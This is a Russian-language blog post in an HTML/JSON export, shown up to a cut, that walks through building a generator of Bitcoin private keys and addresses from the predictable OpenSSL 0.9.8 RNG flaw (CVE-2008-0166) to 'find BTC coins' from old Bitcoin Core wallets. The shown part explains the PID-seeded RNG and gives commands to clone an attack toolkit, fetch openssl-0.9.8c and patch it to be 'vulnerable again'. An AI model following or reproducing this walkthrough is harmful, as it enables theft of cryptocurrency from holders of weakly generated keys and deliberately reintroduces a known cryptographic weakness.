{"id":335868,"date":"2022-07-19T03:00:04","date_gmt":"2022-07-19T03:00:04","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=335868"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=335868","title":{"rendered":"<span>\u041f\u043e\u0438\u0441\u043a \u043c\u043e\u043d\u0435\u0442 BTC \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 Bitcoin Core \u0441 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e OpenSSL 0.9.8 CVE-2008-0166<\/span>"},"content":{"rendered":"<div><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043c\u044b \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u0410\u0434\u0440\u0435\u0441\u0430 (P2KH), \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2008-0166. \u042d\u0442\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u043f\u0440\u043e\u0435\u043a\u0442 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u043c\u043e\u043d\u0435\u0442 BTC \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430 Bitcoin Core<\/p>\n<figure class=\"bordered full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a58\/81f\/84d\/a5881f84dd232d20884a1f6aea142a77.png\" width=\"1280\" height=\"720\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/a58\/81f\/84d\/a5881f84dd232d20884a1f6aea142a77.png\"\/><figcaption><\/figcaption><\/figure>\n<p><em>\u0413\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u0445 \u0447\u0438\u0441\u0435\u043b<\/em>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442<em> <\/em>\u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0443\u0435\u043c\u044b\u0435 \u0447\u0438\u0441\u043b\u0430 <a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2008-0166\" rel=\"noopener noreferrer nofollow\"><strong>CVE-2008-0166<\/strong><\/a><\/p>\n<p><a href=\"https:\/\/knowledge.broadcom.com\/external\/article\/97348\/vaim-openssl-098100-detected.html\" rel=\"noopener noreferrer nofollow\">VAIM- OpenSSL 0.9.8\/1.0.0 Detected<\/a><\/p>\n<p>\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u0438 <code>OpenSSL 0.9.8<\/code> <a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2008-0166\" rel=\"noopener noreferrer nofollow\"><strong>CVE-2008-0166<\/strong><\/a> \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u043b\u0430\u0441\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430. \u0418\u0437-\u0437\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u0438\u0439 \u043c\u0435\u0436\u0434\u0443 \u043f\u043e\u0440\u044f\u0434\u043a\u043e\u043c \u0431\u0430\u0439\u0442\u043e\u0432 \u0438 sizeof(long) \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0437\u0430\u0432\u0438\u0441\u044f\u0442 \u043e\u0442 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b: <em>32<\/em>-\u0431\u0438\u0442\u043d\u044b\u0439 \u043f\u0440\u044f\u043c\u043e\u0439 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0431\u0430\u0439\u0442\u043e\u0432 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <code>i386<\/code>), <em>64<\/em>-\u0431\u0438\u0442\u043d\u044b\u0439 \u043f\u0440\u044f\u043c\u043e\u0439 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0431\u0430\u0439\u0442\u043e\u0432 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <code>amd64, ia64<\/code>), <em>32<\/em>-\u0431\u0438\u0442\u043d\u044b\u0439 \u043f\u0440\u044f\u043c\u043e\u0439 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0431\u0430\u0439\u0442\u043e\u0432 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, powerpc, sparc). <code>PID 0<\/code> \u2014 \u044d\u0442\u043e \u044f\u0434\u0440\u043e, \u0430 <code>PID_MAX<\/code> (<em>32768<\/em>) \u043d\u0435 \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0435, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0439 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b \u0431\u044b\u043b\u043e <em>32767<\/em> \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u043f\u043e\u0442\u043e\u043a\u043e\u0432 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u0445 \u0447\u0438\u0441\u0435\u043b.<\/p>\n<figure class=\"bordered full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/636\/1d3\/6aa\/6361d36aae42327f846fe907ae18b8e5.png\" width=\"739\" height=\"235\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/636\/1d3\/6aa\/6361d36aae42327f846fe907ae18b8e5.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0439 \u043a\u043b\u0438\u0435\u043d\u0442 Bitcoin Core \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 <code>OpenSSL<\/code>. \u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043e\u043d \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044e <code>\u00abEC_KEY_generate_key()\u00bb<\/code> \u0434\u043b\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u0410\u0434\u0440\u0435\u0441\u043e\u0432 <em>(\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a\u043b\u044e\u0447\u0430)<\/em> \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u043b\u0430\u0442\u0435\u0436\u0435\u0439. \u0421\u0442\u0430\u0440\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Bitcoin Core \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u044e\u0442 \u0438 \u0445\u0440\u0430\u043d\u044f\u0442 <em>100<\/em> \u043a\u043b\u044e\u0447\u0435\u0439 \u0432 <code>wallet.dat<\/code><\/p>\n<p>\u041d\u043e\u0432\u044b\u0439 \u043a\u043b\u044e\u0447 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0438 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u043f\u043b\u0430\u0442\u0435\u0436\u0430. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0439 \u043a\u043b\u0438\u0435\u043d\u0442 Bitcoin Core \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u043f\u0443\u043b \u0438\u0437 <em>100<\/em> \u043d\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043b\u044e\u0447\u0435\u0439 <em>(\u0430\u0434\u0440\u0435\u0441\u043e\u0432)<\/em>. \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u0430 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u0445 \u0447\u0438\u0441\u0435\u043b \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u0432\u044b\u0437\u043e\u0432\u044b \u0431\u044b\u043b\u0438 \u0441\u0434\u0435\u043b\u0430\u043d\u044b \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 <code>OpenSSL<\/code> <em>\u0434\u043e \u0432\u044b\u0437\u043e\u0432\u0430<\/em> <code>'EC_KEY_generate_key()'<\/code>. \u0412\u044b\u0437\u043e\u0432\u044b, \u0432\u043b\u0438\u044f\u044e\u0449\u0438\u0435 \u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0413\u0421\u0427: <code>\u00abRAND_add(8)\u00bb, \u00abRAND_bytes(8)\u00bb \u0438 \u00abRAND_bytes(32)\u00bb.<\/code><\/p>\n<p>\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u043e\u0441\u044c \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0441\u0442\u0430\u0440\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 \u0411\u0438\u0442\u043a\u043e\u0438\u043d\u0430, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u044f\u0441\u043d\u0438\u0442\u044c, \u043a\u0430\u043a\u0438\u0435 \u0432\u044b\u0437\u043e\u0432\u044b \u0431\u044b\u043b\u0438 \u0441\u0434\u0435\u043b\u0430\u043d\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0432\u043b\u0438\u044f\u043b\u0438 \u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0413\u0421\u0427 \u043f\u0435\u0440\u0435\u0434 \u0432\u044b\u0437\u043e\u0432\u043e\u043c <code>\u00abEC_KEY_generate_key()\u00bb.<\/code> \u041f\u0443\u0442\u044c \u0432\u044b\u0437\u043e\u0432\u0430 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430 Bitcoin Core<\/p>\n<p><strong>\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u043e \u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445:<\/strong><\/p>\n<figure class=\"bordered\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/c3b\/97f\/9cb\/c3b97f9cbae39e158b962e34fff506f9.png\" alt=\"| \u0414\u0430\u0442\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 | \u0412\u0435\u0440\u0441\u0438\u044f | \" title=\"| \u0414\u0430\u0442\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 | \u0412\u0435\u0440\u0441\u0438\u044f | \" width=\"184\" height=\"318\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/c3b\/97f\/9cb\/c3b97f9cbae39e158b962e34fff506f9.png\"\/><figcaption>| \u0414\u0430\u0442\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 | \u0412\u0435\u0440\u0441\u0438\u044f | <\/figcaption><\/figure>\n<p>\u041d\u0430\u0448\u0435 \u0446\u0435\u043b\u044c \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0435 \u043a\u043b\u044e\u0447\u0438 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430 Bitcoin Core, \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0439 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b <code>(le32\/le64)<\/code>, \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 \u0434\u043b\u044f \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u0410\u0434\u0440\u0435\u0441\u043e\u0432 <code>(P2KH)<\/code>, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u0438\u0437 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 <code>OpenSSL 0.9.8.<\/code><\/p>\n<p>\u0412 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043c\u044b \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u0413\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u0410\u0434\u0440\u0435\u0441\u043e\u0432 <code>(P2KH)<\/code> \u0438 \u0432\u0441\u0435 \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f \u0432 \u0444\u0430\u0439\u043b <code>result.txt<\/code> <\/p>\n<figure class=\"bordered\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/f21\/1de\/35d\/f211de35d83b0da836ed37ee7bba25ef.png\" alt=\"\u0412\u0441\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 Google Drive\" title=\"\u0412\u0441\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 Google Drive\" width=\"430\" height=\"124\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/f21\/1de\/35d\/f211de35d83b0da836ed37ee7bba25ef.png\"\/><figcaption>\u0412\u0441\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 Google Drive<\/figcaption><\/figure>\n<h2>\u0421\u0434\u0435\u043b\u0430\u0435\u043c OpenSSL \u0441\u043d\u043e\u0432\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c<\/h2>\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e <em>\u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u043c<\/em> <a href=\"https:\/\/github.com\/demining\/TerminalGoogleColab\" rel=\"noopener noreferrer nofollow\">&#171;Ubuntu 18.04.5 LTS&#187; \u043e\u0442 Google Colab<\/a><\/p>\n<figure class=\"bordered\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/863\/ca2\/632\/863ca2632e97c6137636ef19d9871c34.png\" width=\"232\" height=\"130\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/863\/ca2\/632\/863ca2632e97c6137636ef19d9871c34.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u0420\u0430\u043d\u0435\u0435 \u043c\u044b \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 <em>\u0432\u0438\u0434\u0435\u043e\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e<\/em>: <a href=\"https:\/\/cryptodeep.ru\/terminal-google-colab\/\" rel=\"noopener noreferrer nofollow\">\u00abTERMINAL \u0432 Google Colab \u0441\u043e\u0437\u0434\u0430\u0435\u043c \u0432\u0441\u0435 \u0443\u0434\u043e\u0431\u0441\u0442\u0432\u0430 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442 \u0432 GITHUB\u00bb<\/a><\/p>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 Google Colab <a href=\"https:\/\/github.com\/demining\/TerminalGoogleColab\" rel=\"noopener noreferrer nofollow\"><strong>[TerminalGoogleColab]<\/strong><\/a><\/p>\n<p>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0443:<\/p>\n<pre><code class=\"bash\">cat \/etc\/lsb-release<\/code><\/pre>\n<figure class=\"bordered\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/1f0\/645\/5a8\/1f06455a8cbfab1903bad7533db1aada.png\" alt=\" &quot;Ubuntu 18.04.5 LTS&quot;\" title=\" &quot;Ubuntu 18.04.5 LTS&quot;\" width=\"354\" height=\"168\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/1f0\/645\/5a8\/1f06455a8cbfab1903bad7533db1aada.png\"\/><figcaption> &#171;Ubuntu 18.04.5 LTS&#187;<\/figcaption><\/figure>\n<p>\u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u0432 <em>\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044e<\/em> <a href=\"https:\/\/github.com\/demining\/CryptoDeepTools\/tree\/main\/05VulnerableOpenSSL\" rel=\"noopener noreferrer nofollow\">\u00abCryptoDeepTools\u00bb<\/a> \u0438 \u0440\u0430\u0437\u0431\u0435\u0440\u0435\u043c \u0432\u0441\u0451 \u0432 \u0434\u0435\u0442\u0430\u043b\u0438<\/p>\n<pre><code class=\"bash\">git clone https:\/\/github.com\/demining\/CryptoDeepTools.git  cd CryptoDeepTools\/05VulnerableOpenSSL\/  ls -lh<\/code><\/pre>\n<figure class=\"bordered full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/33e\/42d\/134\/33e42d134f9f1fe2bec6a4369ded1b07.png\" width=\"656\" height=\"234\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/33e\/42d\/134\/33e42d134f9f1fe2bec6a4369ded1b07.png\"\/><figcaption><\/figcaption><\/figure>\n<p><em>\u041e\u0431\u043d\u043e\u0432\u0438\u043c \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c<\/em> <strong>g++ libgmp3-dev libmpfr-dev<\/strong><\/p>\n<pre><code class=\"bash\">apt-get update  sudo apt-get install g++ -y <\/code><\/pre>\n<figure class=\"bordered\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/c33\/58c\/b58\/c3358cb58dc2a6835cd9e049d348e4e4.png\" alt=\"\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c g++\" title=\"\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c g++\" width=\"409\" height=\"113\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/c33\/58c\/b58\/c3358cb58dc2a6835cd9e049d348e4e4.png\"\/><figcaption>\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c g++<\/figcaption><\/figure>\n<pre><code class=\"bash\">sudo apt-get install libgmp3-dev libmpfr-dev -y<\/code><\/pre>\n<figure class=\"bordered\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/abb\/ee7\/3cd\/abbee73cd3fc0f32bb825d131f6c1990.png\" width=\"517\" height=\"232\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/abb\/ee7\/3cd\/abbee73cd3fc0f32bb825d131f6c1990.png\"\/><figcaption><\/figcaption><\/figure>\n<figure class=\"bordered full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/8ef\/1b3\/fbe\/8ef1b3fbe963ddb353aa063ebd5e788a.png\" alt=\"\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c \u043f\u0430\u043a\u0435\u0442\u044b libgmp3-dev libmpfr-dev\" title=\"\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c \u043f\u0430\u043a\u0435\u0442\u044b libgmp3-dev libmpfr-dev\" width=\"528\" height=\"239\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/8ef\/1b3\/fbe\/8ef1b3fbe963ddb353aa063ebd5e788a.png\"\/><figcaption>\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c \u043f\u0430\u043a\u0435\u0442\u044b libgmp3-dev libmpfr-dev<\/figcaption><\/figure>\n<p>\u0414\u043b\u044f \u0442\u043e\u0433\u043e \u0447\u0442\u043e\u0431\u044b <code>OpenSSL<\/code> \u0441\u043d\u043e\u0432\u0430 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u043a\u0430\u043a \u0432 <a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2008-0166\" rel=\"noopener noreferrer nofollow\">CVE-2008-0166<\/a><br \/> <em>\u0421\u043a\u0430\u0447\u0430\u0435\u043c<\/em> <a href=\"https:\/\/ftp.openssl.org\/source\/old\/0.9.x\/openssl-0.9.8c.tar.gz\" rel=\"noopener noreferrer nofollow\">openssl-0.9.8c.tar.gz<\/a> <em>\u0438 \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b<\/em><\/p>\n<pre><code class=\"bash\">wget https:\/\/ftp.openssl.org\/source\/old\/0.9.x\/openssl-0.9.8c.tar.gz <\/code><\/pre>\n<figure class=\"bordered full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/efc\/128\/1b4\/efc1281b40a87e9301437cd44d3a06bf.png\" width=\"553\" height=\"246\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/efc\/128\/1b4\/efc1281b40a87e9301437cd44d3a06bf.png\"\/><figcaption><\/figcaption><\/figure>\n<figure class=\"bordered full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/c67\/7a7\/a43\/c677a7a43cdaf592fa288c1d0717cf0c.png\" width=\"551\" height=\"243\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/c67\/7a7\/a43\/c677a7a43cdaf592fa288c1d0717cf0c.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code class=\"bash\">tar xfz openssl-0.9.8c.tar.gz<\/code><\/pre>\n<figure class=\"bordered full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/3b7\/014\/0f2\/3b70140f25ff755ed55aca49c7b8b65c.png\" width=\"691\" height=\"329\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/3b7\/014\/0f2\/3b70140f25ff755ed55aca49c7b8b65c.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code class=\"bash\">mv openssl-0.9.8c openssl-0.9.8c-vuln  cd openssl-0.9.8c-vuln<\/code><\/pre>\n<figure class=\"bordered full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/3d1\/8e9\/8de\/3d18e98de9a34f05cf61c8766c1f817c.png\" width=\"521\" height=\"188\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/3d1\/8e9\/8de\/3d18e98de9a34f05cf61c8766c1f817c.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code class=\"bash\">ls -lh<\/code><\/pre>\n<figure class=\"bordered\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/7eb\/8d3\/846\/7eb8d384683944cdde59fbcadc9d624e.png\" width=\"422\" height=\"246\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/7eb\/8d3\/846\/7eb8d384683944cdde59fbcadc9d624e.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code class=\"bash\">patch -p1 &lt;..\/make-OpenSSL-0-9-8c-vulnerable-again.diff<\/code><\/pre>\n<figure class=\"bordered\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a25\/d2f\/957\/a25d2f9574d2ed2533fcf6495e780466.png\" width=\"361\" height=\"244\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/a25\/d2f\/957\/a25d2f9574d2ed2533fcf6495e780466.png\"\/><figcaption><\/figcaption><\/figure>\n<h2>\u0412 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 LE-64 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c:<\/h2>\n<pre><code class=\"bash\">.\/Configure linux-x86_64 shared no-ssl2 no-ssl3 no-comp no-asm<\/code><\/pre>\n<figure class=\"bordered\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/151\/bd0\/4f2\/151bd04f2078f6668fa9001ec0281243.png\" width=\"515\" height=\"245\" 